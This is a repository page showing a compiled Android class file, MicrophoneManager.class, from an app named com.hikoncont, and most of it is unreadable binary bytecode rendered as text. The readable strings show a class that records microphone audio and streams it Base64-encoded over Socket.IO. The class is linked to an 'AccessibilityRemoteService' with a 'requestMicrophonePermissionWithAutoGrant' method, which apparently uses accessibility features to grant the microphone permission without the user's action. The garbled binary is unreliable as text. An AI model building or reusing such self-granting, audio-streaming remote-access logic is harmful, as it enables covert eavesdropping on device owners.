Files
android/app/build/tmp/kotlin-classes/debug/com/hikoncont/manager/MicrophoneManager.class

131 lines
13 KiB
Plaintext
Raw Normal View History

2026-02-11 16:59:49 +08:00
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<01>'com/hikoncont/manager/MicrophoneManagerjava/lang/Object<init>5(Lcom/hikoncont/service/AccessibilityRemoteService;)V#Lorg/jetbrains/annotations/NotNull;servicekotlin/jvm/internal/Intrinsics
checkNotNullParameter'(Ljava/lang/Object;Ljava/lang/String;)V
()V 
2Lcom/hikoncont/service/AccessibilityRemoteService;  android/content/ContextcontextLandroid/content/Context;  )java/util/concurrent/atomic/AtomicBoolean(Z)V 
 isRecording+Ljava/util/concurrent/atomic/AtomicBoolean; !" #kotlinx/coroutines/Dispatchers%getIO*()Lkotlinx/coroutines/CoroutineDispatcher; '(
&)kotlinx/coroutines/SupervisorKt+SupervisorJob$defaultP(Lkotlinx/coroutines/Job;ILjava/lang/Object;)Lkotlinx/coroutines/CompletableJob; -.
,/"kotlin/coroutines/CoroutineContext1&kotlinx/coroutines/CoroutineDispatcher3plusJ(Lkotlin/coroutines/CoroutineContext;)Lkotlin/coroutines/CoroutineContext; 56
47#kotlinx/coroutines/CoroutineScopeKt9CoroutineScopeI(Lkotlin/coroutines/CoroutineContext;)Lkotlinx/coroutines/CoroutineScope; ;<
:= serviceScope#Lkotlinx/coroutines/CoroutineScope; ?@ A&java/util/concurrent/atomic/AtomicLongC(J)V E
DFsequenceNumber(Ljava/util/concurrent/atomic/AtomicLong; HI Jthis)Lcom/hikoncont/manager/MicrophoneManager;hasMicrophonePermission()Zjava/lang/ExceptionPandroid.permission.RECORD_AUDIORcheckSelfPermission(Ljava/lang/String;)I TU
VMicrophoneManagerXjava/lang/StringBuilderZ
[<1E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 麦克风权限检查: ]append-(Ljava/lang/String;)Ljava/lang/StringBuilder; _`
[a(Z)Ljava/lang/StringBuilder; _c
[dtoString()Ljava/lang/String; fg
[handroid/util/Logjd'(Ljava/lang/String;Ljava/lang/String;)I lm
kn检查麦克风权限失败pjava/lang/Throwablere<(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I tu
kv hasPermissionZLjava/lang/Exception;startRecordingjava/lang/InterruptedException|get ~O
<1C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 录音已在进行中<00>w <00>m
k<00> NO
<00>4⚠ 麦克风权限未授予,尝试自动申请<00>0com/hikoncont/service/AccessibilityRemoteService<00>(requestMicrophonePermissionWithAutoGrant <00>
<00><00>!触发麦克风权限申请失败<00><01>java/lang/Thread<00>sleep <00>E
<00><00>:✅ 麦克风权限已在等待期间授予,开始录音<00>i <00>m
k<00>@⚠️ 等待后仍未获得麦克风权限,取消录音启动<00>android/media/AudioRecord<00>getMinBufferSize(III)I <00><00>
<00><00>kotlin/ranges/RangesKt<00> coerceAtLeast(II)I <00><00>
<00><00>(IIIII)V <00>
<00><00> audioRecordLandroid/media/AudioRecord; <00><00> <00>getState()I <00><00>
<00><00>❌ AudioRecord初始化失败<00> tm
k<00>tryEnableAudioEffects <00>
<00>set <00>
<00> <00>E
D<00>3<><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 开始录音: 16000Hz, 20ms帧100ms聚合<00>8com/hikoncont/manager/MicrophoneManager$startRecording$1<00>L(Lcom/hikoncont/manager/MicrophoneManager;Lkotlin/coroutines/Continuation;)V <00>
<00><00>kotlin/jvm/functions/Function2<00>kotlinx/coroutines/BuildersKt<00>launch$default<00>(Lkotlinx/coroutines/CoroutineScope;Lkotlin/coroutines/CoroutineContext;Lkotlinx/coroutines/CoroutineStart;Lkotlin/jvm/functions/Function2;ILjava/lang/Object;)Lkotlinx/coroutines/Job; <00><00>
<00><00> recordingJobLkotlinx/coroutines/Job; <00><00> <00>启动录音失败<00>attemptsI maxAttempts minBuffer targetBuffer
bufferSizegetAudioSessionId <00><00>
<00><00>%android/media/audiofx/NoiseSuppressor<00> isAvailable <00>O
<00><00>create*(I)Landroid/media/audiofx/NoiseSuppressor; <00><00>
<00><00>ns'Landroid/media/audiofx/NoiseSuppressor; <00><00> <00>
setEnabled(Z)I <00><00>
<00><00>✅ 已启用NoiseSuppressor<00>% 设备不支持NoiseSuppressor<00>*android/media/audiofx/AcousticEchoCanceler<00>
<00><00>/(I)Landroid/media/audiofx/AcousticEchoCanceler; <00><00>
<00><00>aec,Landroid/media/audiofx/AcousticEchoCanceler; <00><00> <00>
<00><00>!✅ 已启用AcousticEchoCanceler* 设备不支持AcousticEchoCanceler启用音频效果失败 <00>u
k sessionIddisableAudioEffectsrelease 

<00>
<00>  stopRecording<1C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 录音未在进行中#kotlinx/coroutines/Job$DefaultImplscancel$defaultZ(Lkotlinx/coroutines/Job;Ljava/util/concurrent/CancellationException;ILjava/lang/Object;)V 
stop 
<00>
<00>  
<13><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 停止录音停止录音失败kotlinx/coroutines/Job! recordAudio4(Lkotlin/coroutines/Continuation;)Ljava/lang/Object;D(Lkotlin/coroutines/Continuation<-Lkotlin/Unit;>;)Ljava/lang/Object;5com/hikoncont/manager/MicrophoneManager$recordAudio$1&label (<00> ')<03>
'<00>resultLjava/lang/Object; -. '/)kotlin/coroutines/intrinsics/IntrinsicsKt1getCOROUTINE_SUSPENDED()Ljava/lang/Object; 34
25kotlin/ResultKt7throwOnFailure(Ljava/lang/Object;)V 9:
8; {
<00>=<16><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 录音已开始?1-java/lang/SystemCnanoTime()J EF
DGread([BII)I IJ
<00>K arraycopy*(Ljava/lang/Object;ILjava/lang/Object;II)V MN
DOencodeBytesToBase64([B)Ljava/lang/String; QR
SgetSocketIOManager)()Lcom/hikoncont/network/SocketIOManager; UV
<00>WPCM_16BIT_MONOY%com/hikoncont/network/SocketIOManager[sendMicrophoneAudio)(Ljava/lang/String;IILjava/lang/String;)V ]^
\_发送音频数据失败aB@L$0 d. 'eL$1 g. 'hL$2 j. 'kI$0 m<00> 'nI$1 p<00> 'qJ$0J st 'ukotlinx/coroutines/DelayKtwdelay5(JLkotlin/coroutines/Continuation;)Ljava/lang/Object; yz
x{[B}停止AudioRecord失败录音过程中发生错误<01> kotlin/Unit<01>INSTANCE Lkotlin/Unit; <01><01> <01><01>java/lang/IllegalStateException<01>/call to 'resume' before 'invoke' with coroutine<01>(Ljava/lang/String;)V <01>
<01><01> singleFrame
aggregated aggOffset aggFramesframeDurationNslastFrameTimeNsbytesReadTotal base64AudioLjava/lang/String;nowNselapsedsleepNs $continuation Lkotlin/coroutines/Continuation;$resultkotlin/coroutines/Continuation<01>java/lang/String<01>android/util/Base64<01>encodeToString([BI)Ljava/lang/String; <01><01>
<01><01>4{
android.ut…Base64.NO_WRAP)
}<01>checkNotNullExpressionValue <01>
<01>音频编码失败<01><01>bytes 
<01>e(Lkotlinx/coroutines/CoroutineScope;Ljava/util/concurrent/CancellationException;ILjava/lang/Object;)V <01>
:<01>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 麦克风管理器已释放<01>释放麦克风管理器失败<01>access$recordAudio](Lcom/hikoncont/manager/MicrophoneManager;Lkotlin/coroutines/Continuation;)Ljava/lang/Object; #$
<01>$this $completion<clinit>1com/hikoncont/manager/MicrophoneManager$Companion<01>1(Lkotlin/jvm/internal/DefaultConstructorMarker;)V <01>
<01><01> Companion3Lcom/hikoncont/manager/MicrophoneManager$Companion; <01><01> <01>$Lorg/jetbrains/annotations/Nullable;TAG SAMPLE_RATE><3E>CHANNEL_CONFIG AUDIO_FORMATBYTES_PER_SAMPLEFRAME_DURATION_MS FRAME_BYTES<02>AGGREGATION_FRAMESAGGREGATED_BYTES <0C>Lkotlin/Metadata;mvkxi0d1<01><><EFBFBD>\

<10><>
<EFBFBD><EFBFBD>



<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<EFBFBD><EFBFBD>

<18><> #20:#B 0¢J0HJ020HJ0J 0J0H‚<01><>¢J0J 0J!0J"0HR0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>R 0
X‚¢
<EFBFBD><EFBFBD>R 0 X‚¢
<EFBFBD><EFBFBD>R 0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>‚
¨$d2 app_debug DefaultImplsMicrophoneManager.ktRuntimeInvisibleAnnotations ConstantValueCodeLineNumberTableLocalVariableTable$RuntimeInvisibleParameterAnnotations StackMapTable Signature InnerClasses
SourceFileRuntimeVisibleAnnotations1<01><01><01><01><01><00><00><01><01>!"<01><00><00><01><01>?@<01>HI<01><00><00><01><01><00><00><01><01><01><01><01>Y<01><01><00><01><01><01><00><01><01><01><00><01><01><01><00><01><01><01><00><01><01><01><00><01><01><01><00><01><01><01><00><01><01> <01><00>I+ <09>*<2A>*+<2B>**<2A><15><17>*<2A>Y<03> <20>$*<2A>*<01>0<>2<>8<>><3E>B*<2A>DY <09>G<>K<><01>')&+<,H<01>ILMI<01>NO<01><00>B*<2A>S<>W<><04><Y<>[Y<>\^<5E>b<1B>e<>i<>oW<<3C>MYq,<2C>s<>wW<<1B>.1Q<01> @^Q<><01>"567,8192:>;A5<01> xy2tzBLM{<01><02>*<2A>$<24><00><> Y<12><><00>W<EFBFBD>*<2A><00><>`Y<12><><00>W*<2A><15><00><>LY<12>+<2B>s<>wW<=<1C>&<00><><00><>N*<2A><00><>Y<12><><00>W<EFBFBD> <09><01><><EFBFBD>*<2A><00><> Y<12><><00>W<EFBFBD>><3E><05><00><<1B><00>=`dlh>*<2A><00>Y><3E><1D><00><><00>*<2A><00>Y<EFBFBD><12><00><04><04> <03>W<03> Y<12><><00>W<EFBFBD>*<2A><00>*<2A>$<04><00>*<2A>K <09><00>Yø<00>W**<2A>B<01><00>Y*<01><00><><00><01>еԧLY<12>+<2B>s<>wW*<2A>$<03><00><>"*-QDKN}wQ<01>2YQ <0C>N}<05><0F>CC<00>A <0B>9Q<01><00>-C
DEHI"J#K-L.M:P<Q?RDSETNUOVVW^XaZg]n^v_wcxd<00>e<00>f<00>h<00>i<00>j<00>k<00>l<00>m<00>h<00>p<00>q<00>r<00>v<00>x<00>y<00>z<00>}<00><00><00><00><01>R. tz<;<00><00>?8<00><00><00><00><00><00><00>z<00><00><00>p<00><00>tzLM<00><01>C<00>*<2A><00>Y<EFBFBD> <09>ߧW<<1B>z<><00><>'*<1B><00><><00>*<2A><00>Y<EFBFBD>W<><04><00>WY<12><><00>W<EFBFBD> Y<12><><00>W<EFBFBD><00><>(*<1B><00><><00>*<2A><00>Y<EFBFBD>W<><04><00>WY<01><00>W<EFBFBD>Y<03><00>W<EFBFBD>LY+<2B>s<>W<>|Q<01>- O<00>A<01><00>
Y<00> <0B> Q <01>B<00><00><00><00><00>$<00>5<00>@<00>H<00>N<00>V<00>g<00>s<00><00><00><00><00><00><01> j<00><00> tz<00>LM <01><00>R*<2A><00>Y<EFBFBD>W<><03><00>W*<2A><00>Y<EFBFBD> <09> <0C>W*<01><00>*<2A><00>Y<EFBFBD>W<><03><00>W*<2A><00>L+Y<> <09> <0A>W*<01><00><>L<>MPQ<01>5
M<00>M<00>P<00><04><00><00><00>Q<><01>& <00><00><00>!<00>&<00>7<00>H<00>P<00>Q<00><01> RLM<01><00>q*<2A>$<24><00><> Y<10><00>W<EFBFBD>*<2A>$<03><00>*<2A><00>Y<EFBFBD> <01><16>W*<2A><00>Y<EFBFBD> <09><19>W*<2A><00>Y<EFBFBD> <09><1A>W*<01><00>*<2A>Y<1E><00>W<EFBFBD>LY +<2B>s<>wW<77>_bQ<01> Y"M<00>M<00>TQ <01>:<00>
<00><00><00><00><00>/<00>><00>M<00>R<00>V<00>b<00>c<00>p<00><01>c tzqLM#$<01><08>u+<2B>'<27>%+<2B>':<12>*+~<7E>Y<>*+d<>*<2A><0E>'Y*+<2B>,:<12>0:<11>6:<12>*<2A>%\<11><<02><>M <0C><>N66*<2A><00>Y<EFBFBD> <09>><3E>WY@<40><00>WA7<06>H7*<2A>$<24><00><>E6

<02><>7*<2A>$<24><00><>-*<2A><00>Y<EFBFBD>,
<02>
d<EFBFBD>L<>W6  <0B><><EFBFBD>
 `6
<EFBFBD><EFBFBD><EFBFBD>*<2A>$<24><00><><00>,-<02><>P<02>`6<04><08>A*-<2D>T: *<2A><15>XY<58> ><3E>@Z<>`<60>W<>: Yb <0C>s<>wW66<05>H7  e7  <06><><00> e7c<>m*<2A>f,<2C>i-<2D>l<04>o<05>r<06>v<04>*<2A>|Y<13>><13><12>v7<12>r6<12>o6<12>l<>~N<12>i<>~M<12>f<>K<11><W<>H7<08><><EFBFBD>*<2A><00>Y<EFBFBD> <09><19>W<>:Y<01><06>s<>wW<77>a:Y<01><06>s<>wW*<2A><00>Y<EFBFBD> <09><19>W<>:Y<01><06>s<>wW<77>+:*<2A><00>Y<EFBFBD> <09><19>W<>:Y<01><07>s<>wW<06><><01><><EFBFBD><01>Y<01><><01><>
 +.Q<01><01><01>Q(+Qs<01>Q<01><01>Q@PSQs<01>><01><01>>>>@><01><02>)<29>
<01>'<00>'<01>'<00>%<01>~~'<00><00><01>~~'<00> <01>~~'h<00>A<10>J<01>~~<01>'\CQ<0F><01>~~'<00>\<01>'<00>7<01>~~'<00><01>~~'N<00>CQ<><01>~~'<00><01>~~'Q<><01>~~Q'<00>CQ<0F><01>~~'s<><01>~~s'<00>CQ<0F><01>~~'<00><01>'<01><00>:><00>a<00>g<00>m<00>p<00>s<00>t<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00> <00><00><00><00><00>!<00>$<00>.<00>0<00>><00>A<00>D<00>I<00>P<00>X<00>_<00><01><00><01><00><01><00><01><00><01><00><01><00><00><00>
<00><00><00>+<00>-<00>;<00>><00>A<00>S<00>U<00>fj<00><01><01>0atLM<00>LM<00><00>LM<01>LMLM>LMgn<01>}<00><01>}<00><00><01>}<01><01>}mh<01>}<00><01>}<00><00><01>}<01>#<01>}pe<01><00><00><01><00><00><01><00><00><01><00>A`<01><00><01>,<01><00>sb<01><00><00><01><00><00><01><00>D]<01><00><01>3<01><00><00>D<01>t<00><01>t<00><00><01>t<01>:<01>t<01>tz
tz-tzUtz<00>?<01>t<00><01>t<00>g<01>t<01><01>t<00>2<01><00>
<00><01><00>
<00><01><00>
<00> I<00>  <01><01> I<01>t 0tz P<01>t _9<01>t46<01><01>;/<01>.<01>%QR<01><00>%+<05><01>Y<01><><01>M<EFBFBD>NY<01>-<2D>s<>wW<01>M,<2C>Q<01> QQ<><01><01>$<01> tz%LM%<01>}!O<01>2*<2A>$<24><00><><01><01> LM
<01><00>**<2A><01>*<2A>B<01><01>Y<01><><00>W<EFBFBD>LY<01>+<2B>s<>wW<77>Q<01>[Q <01>)<01> tz*LM<01><01><01>:*+<2B><01><><01><01><01>M<01><01><01><01> <0C><01>Y<01>dz˱<01>"<01><01>'<00>"<01><01><01><01><00><01><01>[I<01>I<01>I<01><01>I<01><01>I<01><01>[s<01><01>[%sMs<01>ssss<00>s<00>s<00>s<00>sss!s"s<00>s<00>s<00>s<00>sHsIs?s@s s<01>sQs<01>s<01>s<01>sNs<01>s#s$s
s{ss<00>s<01>s<01>